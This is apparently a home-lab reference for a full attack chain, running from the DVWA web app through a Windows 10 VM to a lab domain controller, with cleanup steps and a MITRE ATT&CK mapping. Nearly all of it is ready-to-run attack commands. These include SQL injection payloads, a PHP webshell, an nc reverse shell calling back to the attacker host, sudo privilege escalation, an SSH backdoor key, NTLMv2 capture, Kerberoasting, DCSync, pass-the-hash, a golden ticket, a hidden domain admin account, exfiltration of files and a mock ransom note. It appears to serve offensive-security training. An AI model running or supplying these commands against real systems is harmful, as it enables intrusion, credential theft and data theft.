Home Lab Attack Chain — Full Reference 4

Stages 1–20 + Cleanup

Lab environment: Kali → DVWA (192.168.56.30) → Win10 (192.168.56.20) → DC (192.168.56.10 / PC-DC.ad.lab)

STAGE 1 — Recon

[Kali]

```
nmap -sV -sC -O 192.168.56.30
nikto -h http://192.168.56.30
gobuster dir -u http://192.168.56.30 -w /usr/share/wordlists/dirb/common.txt
whatweb http://192.168.56.30/
```

STAGE 2 — Brute Force

[Kali]

```
python3 dvwa_bruteforce.py
```

■ Result: `admin:password`

STAGE 3 — SQLi

[Browser — DVWA SQL Injection module]

```
1' OR '1'='1
1' UNION SELECT user, password FROM users-- -
```

STAGE 4 — Hash Crack (DVWA Users)

[Kali]

```
echo "5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7" > /tmp/dvwa_hashes.txt
hashcat -m 0 -a 0 /tmp/dvwa_hashes.txt /usr/share/wordlists/rockyou.txt
```

STAGE 5 — Webshell Upload

[Kali]

```
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
```

[Browser — DVWA File Upload module]
Upload shell.php

[Browser — verify]

```
http://192.168.56.30/hackable/uploads/shell.php?cmd=id
```

STAGE 6 — Reverse Shell

[Kali]

```
nc -lvnp 4444
```

[Browser]

```
http://192.168.56.30/hackable/uploads/shell.php?cmd=rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.232.135+4444+>/tmp/f
```

STAGE 7 — Privesc

[DVWA — reverse shell as www-data]

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Press **Ctrl+Z** on Kali, then:

```
stty raw -echo; fg
stty sane
export TERM=xterm
sudo -l
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
```

■ Now root on DVWA

STAGE 8 — SSH Persistence

[Kali]

```
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub
```

[DVWA — root shell]

```
mkdir -p /root/.ssh

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIACi7TGj+OejU78IWt/I6/im7sLXOR1jben7h94DmDJ5 kali@kali" >> /root/.ssh/authorized_keys

chmod 700 /root/.ssh

chmod 600 /root/.ssh/authorized_keys
```

[Kali — verify]

```
ssh -i ~/.ssh/id_ed25519 root@192.168.56.30
```

STAGE 9 — Internal Discovery

[DVWA via SSH]

```
hostname && id && ip a
ip route
cat /proc/net/arp
nmap -sV -O 192.168.56.0/24 --open
nmap -sV -O 192.168.232.0/24 --open
```

DVWA TOOL PREP *(one-time before Stage 10)*

[Kali]

```
mkdir -p /tmp/pkgs
pip3 download aioquic impacket bloodhound netifaces2 -d /tmp/pkgs/
cp -r /usr/share/responder /tmp/responder_patched
sed -i 's/import netifaces$/import netifaces2 as netifaces/g'  /tmp/responder_patched/Responder.py
cd /tmp && tar -czf dvwa_tools.tar.gz pkgs/
scp /tmp/dvwa_tools.tar.gz root@192.168.56.30:/tmp/
scp -r /tmp/responder_patched root@192.168.56.30:/opt/Responder
```

[DVWA via SSH]

```
cd /tmp && tar -xzf dvwa_tools.tar.gz
pip install --break-system-packages /tmp/pkgs/*
echo "192.168.56.10 PC-DC.ad.lab ad.lab" >> /etc/hosts
```

STAGE 10 — Responder / NTLMv2 Capture

[DVWA via SSH]

```
sudo systemctl stop apache2
sudo sed -i '/\[Resolve\]/a DNSStubListener=no' /etc/systemd/resolved.conf
sudo systemctl restart systemd-resolved
python3 /opt/Responder/Responder.py -I ens33 -wd
```

[Win10 VM — Explorer address bar]

```
\\nonexistent\share
```

[DVWA — after capture]

```
ls /opt/Responder/logs/
cp /opt/Responder/logs/SMB-NTLMv2-SSP-192.168.56.20.txt /tmp/win10.hash
```

STAGE 11 — Hash Crack (NTLMv2)

[Kali]

```
scp root@192.168.56.30:/tmp/win10.hash /tmp/win10.hash
hashcat -m 5600 /tmp/win10.hash /usr/share/wordlists/rockyou.txt --force
```

■ Result: `win10:Secur3Lab!`

STAGE 12 — AD Recon (BloodHound)

[DVWA via SSH]

```
sudo sed -i '/^DNSStubListener=no$/d' /etc/systemd/resolved.conf
sudo systemctl restart systemd-resolved
cd /tmp && python3 -m bloodhound -d ad.lab -u win10 -p 'Secur3Lab!' -dc PC-DC.ad.lab -ns 192.168.56.10 -c All --zip
```

[Kali]

```
scp root@192.168.56.30:/tmp/*_bloodhound.zip /tmp/
bloodhound-start &
```

Open http://127.0.0.1:8080 → Quick Upload → import zip

Cypher — Kerberoastable accounts:

```
MATCH (u:User) WHERE u.hasspn=true RETURN u
```

Cypher — Kerberoastable Domain Admins:

```
MATCH (u:User)-[:MemberOf*1..]->(g:Group) WHERE u.hasspn=true AND g.name =~ "(?i)domain admins.*" RETURN u
```

■ Result: `HANK_SHERMAN` — Domain Admin, SPN set

STAGE 13 — Kerberoasting + Hash Crack

[DVWA via SSH]

```
python3 /usr/local/bin/GetUserSPNs.py ad.lab/win10:'Secur3Lab!' -dc-ip 192.168.56.10 -request -outputfile /tmp/hank.hash 2>/dev/null; grep HANK_SHERMAN /tmp/hank.hash
```

[Kali]

```
scp root@192.168.56.30:/tmp/hank.hash /tmp/hank.hash
hashcat -m 13100 /tmp/hank.hash /usr/share/wordlists/rockyou.txt --force
```

■ Result: `HANK_SHERMAN:Password123`

STAGE 14 — DCSync

[DVWA via SSH]

```
python3 /usr/local/bin/secretsdump.py ad.lab/HANK_SHERMAN:'Password123'@192.168.56.10 -outputfile /tmp/dcsync_output

cat /tmp/dcsync_output.ntds
```

[Kali]

```
scp root@192.168.56.30:/tmp/dcsync_output.ntds /tmp/dcsync_output.ntds

awk -F: '{print $1":"$4}' /tmp/dcsync_output.ntds > /tmp/user_nt_hashes.txt

cut -d: -f2 /tmp/user_nt_hashes.txt > /tmp/nt_only.txt

hashcat -m 1000 /tmp/nt_only.txt /usr/share/wordlists/rockyou.txt --force

hashcat -m 1000 /tmp/nt_only.txt --show > /tmp/cracked_hashes.txt

while IFS=: read hash pass; do user=$(grep -m1 ":${hash}$" /tmp/user_nt_hashes.txt | cut -d: -f1); [ -n "$user" ] && echo "$user:$pass"; done < /tmp/cracked_hashes.txt > /tmp/cracked_creds.txt

grep -v ":$" /tmp/cracked_creds.txt
```

STAGE 15 — Pass-the-Hash

[DVWA via SSH]

```
python3 /usr/local/bin/lookupsid.py ad.lab/HANK_SHERMAN:'Password123'@192.168.56.10 | grep "Domain SID"

python3 /usr/local/bin/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb Administrator@192.168.56.10
```

```
whoami
hostname
exit
```

■ Result: `ad\administrator` on `PC-DC`

STAGE 16 — Golden Ticket

[DVWA via SSH]

```
python3 /usr/local/bin/ticketer.py -nthash 611a8cdcc21cb3fe3bf3a4c2f4e05f60 -domain-sid S-1-5-21-3315718683-193253855-3518612541
-domain ad.lab Administrator

export KRB5CCNAME=/tmp/Administrator.ccache

python3 /usr/local/bin/wmiexec.py -k -no-pass ad.lab/Administrator@PC-DC.ad.lab
```

```
whoami
hostname
```

■ Result: `ad.lab\administrator` on `PC-DC`

STAGE 17 — DC Persistence (Backdoor Account)

[DVWA via SSH]

```
cmd /c "net user backdoor P@ssw0rd123! /add /expires:never"
cmd /c "net localgroup Administrators backdoor /add"
net group “Domain Admins” backdoor /add /domain
cmd /c "net user backdoor /passwordchg:no"
cmd /c "net user backdoor"
```

STAGE 18 — Collection

[DVWA via SSH — collection at DC]

```
cmd /c "net user /domain > C:\Windows\Temp\domain_users.txt"
cmd /c "whoami /all > C:\Windows\Temp\admin_info.txt"
exit
```

[DVWA via SSH — connect to Win10]

```
python3 /usr/local/bin/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb Administrator@192.168.56.20
```

```
cmd /c "type C:\Users\win10\Documents\Sensitive\* > C:\Windows\Temp\sensitive_data.txt"
```

STAGE 19 — Exfiltration

[DVWA via SSH — pull from Win10]

```
lget C:\Windows\Temp\sensitive_data.txt
exit
```

[DVWA via SSH — pull from DC]

```
python3 /usr/local/bin/wmiexec.py -k -no-pass ad.lab/Administrator@PC-DC.ad.lab

lget C:\Windows\Temp\domain_users.txt
lget C:\Windows\Temp\admin_info.txt
exit
```

[DVWA — verify]

```
ls /tmp/domain_users.txt /tmp/admin_info.txt /tmp/sensitive_data.txt
```

[Kali — pull everything]

```
scp root@192.168.56.30:/tmp/domain_users.txt /tmp/
scp root@192.168.56.30:/tmp/admin_info.txt /tmp/
scp root@192.168.56.30:/tmp/sensitive_data.txt /tmp/
```

STAGE 20 — Impact (Wallpaper + Ransom Note + Encrypted Files)

[Kali — transfer BMP to DVWA]

```
scp /tmp/hacked.bmp root@192.168.56.30:/tmp/hacked.bmp
```

[DVWA via SSH — DC]

```
export KRB5CCNAME=/tmp/Administrator.ccache
python3 /usr/local/bin/wmiexec.py -k -no-pass ad.lab/Administrator@PC-DC.ad.lab
```

```
lput /tmp/hacked.bmp C:\Windows\Temp\

cmd /c "copy C:\Windows\Temp\hacked.bmp C:\Users\Public\hacked.bmp"

cmd /c "reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Public\hacked.bmp /f"

cmd /c "reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f"

cmd /c "echo YOU HAVE BEEN HACKED. Contact: eclipse@manic ^| eclipsemanic.me > C:\Users\Administrator\Desktop\README_HACKED.txt"

cmd /c "echo ENCRYPTED_DATA_XOR_KEY_7f3a9b > C:\Users\Administrator\Desktop\documents.enc"

cmd /c "echo ENCRYPTED_DATA_XOR_KEY_7f3a9b > C:\Users\Administrator\Desktop\passwords.enc"

cmd /c "shutdown /r /t 0"

exit
```

[DVWA via SSH — Win10]

```
python3 /usr/local/bin/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb Administrator@192.168.56.20
```

```
lput /tmp/hacked.bmp C:\Windows\Temp\

cmd /c "copy C:\Windows\Temp\hacked.bmp C:\Users\Public\hacked.bmp"

cmd /c "reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Public\hacked.bmp /f"

cmd /c "reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d 2 /f"

cmd /c "echo YOU HAVE BEEN HACKED. Contact: eclipse@manic ^| eclipsemanic.me > C:\Users\win10\Desktop\README_HACKED.txt"

cmd /c "echo ENCRYPTED_DATA_XOR_KEY_7f3a9b > C:\Users\win10\Desktop\documents.enc"

cmd /c "echo ENCRYPTED_DATA_XOR_KEY_7f3a9b > C:\Users\win10\Desktop\passwords.enc"

cmd /c "shutdown /r /t 0"

exit
```

CLEANUP — Full Zero-Trace Restore

[DVWA via SSH — DC first]

```
export KRB5CCNAME=/tmp/Administrator.ccache
python3 /usr/local/bin/wmiexec.py -k -no-pass ad.lab/Administrator@PC-DC.ad.lab
```

```
cmd /c "del C:\Users\Administrator\Desktop\README_HACKED.txt"
cmd /c "del C:\Users\Administrator\Desktop\documents.enc"
cmd /c "del C:\Users\Administrator\Desktop\passwords.enc"
cmd /c "del C:\Windows\Temp\domain_users.txt"
cmd /c "del C:\Windows\Temp\admin_info.txt"
cmd /c "del C:\Windows\Temp\hacked.bmp"
cmd /c "del C:\Users\Public\hacked.bmp"
cmd /c "del C:\Windows\Temp\refreshwp.bat"
cmd /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /f"
cmd /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /f"
cmd /c "reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Personalization /v DesktopWallpaper /f"
cmd /c "reg delete "HKCU\Control Panel\Desktop" /v Wallpaper /f"
cmd /c "reg delete "HKCU\Control Panel\Desktop" /v WallpaperStyle /f"
cmd /c "net user backdoor /delete"
exit
```

[DVWA via SSH — Win10]

```
python3 /usr/local/bin/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:cc8147f790c91200a3e02c2ebc65f9fb Administrator@192.168.56.20
```

```
cmd /c "del C:\Users\win10\Desktop\README_HACKED.txt"
cmd /c "del C:\Users\win10\Desktop\documents.enc"
cmd /c "del C:\Users\win10\Desktop\passwords.enc"
cmd /c "del C:\Windows\Temp\sensitive_data.txt"
cmd /c "del C:\Windows\Temp\hacked.bmp"
cmd /c "del C:\Users\Public\hacked.bmp"
cmd /c "del C:\Windows\Temp\refreshwp.bat"
cmd /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v Wallpaper /f"
cmd /c "reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v WallpaperStyle /f"
cmd /c "reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Personalization /v DesktopWallpaper /f"
cmd /c "reg delete "HKCU\Control Panel\Desktop" /v Wallpaper /f"
cmd /c "reg delete "HKCU\Control Panel\Desktop" /v WallpaperStyle /f"
cmd /c "reg delete "HKU\S-1-5-21-3315718683-193253855-3518612541-1105\Control Panel\Desktop" /v Wallpaper /f"
cmd /c "reg delete "HKU\S-1-5-21-3315718683-193253855-3518612541-1105\Control Panel\Desktop" /v WallpaperStyle /f"
cmd /c "reg delete "HKU\S-1-5-21-3315718683-193253855-3518612541-1105\Control Panel\Desktop" /v TileWallpaper /f"
exit
```

[DVWA via SSH]

```
rm -f /var/www/html/dvwa/hackable/uploads/shell.php
sed -i '/kali@kali/d' /root/.ssh/authorized_keys
sudo systemctl start apache2
rm -rf /opt/Responder
pip uninstall aioquic impacket bloodhound netifaces2 -y
sed -i '/PC-DC.ad.lab/d' /etc/hosts
rm -f /tmp/win10.hash /tmp/hank.hash
rm -f /tmp/*_bloodhound.zip
rm -f /tmp/dvwa_tools.tar.gz
rm -rf /tmp/pkgs
rm -f /tmp/dcsync_output*
rm -f /tmp/Administrator.ccache
unset KRB5CCNAME
rm -f /tmp/domain_users.txt /tmp/admin_info.txt /tmp/sensitive_data.txt
rm -f /tmp/hacked.bmp
rm -f /tmp/f
```

[Kali]

```
rm -f ~/.ssh/id_ed25519 ~/.ssh/id_ed25519.pub
rm -f /tmp/shell.php /tmp/dvwa_hashes.txt
rm -f /tmp/win10.hash /tmp/hank.hash
rm -f /tmp/*_bloodhound.zip /tmp/dvwa_tools.tar.gz
rm -rf /tmp/pkgs /tmp/responder_patched
rm -f /tmp/dcsync_output*
rm -f /tmp/nt_only.txt /tmp/cracked_hashes.txt /tmp/cracked_creds.txt /tmp/user_nt_hashes.txt
rm -f /tmp/domain_users.txt /tmp/admin_info.txt /tmp/sensitive_data.txt
rm -f /tmp/hacked.bmp
```

MITRE ATT&CK; Coverage

Reconnaissance	1
Initial Access	2–5
Execution	6
Privilege Escalation	7
Persistence	8, 17
Discovery	9, 12
Credential Access	4, 11, 13, 14
Lateral Movement	15, 16
Collection	18
Exfiltration	19
Impact	20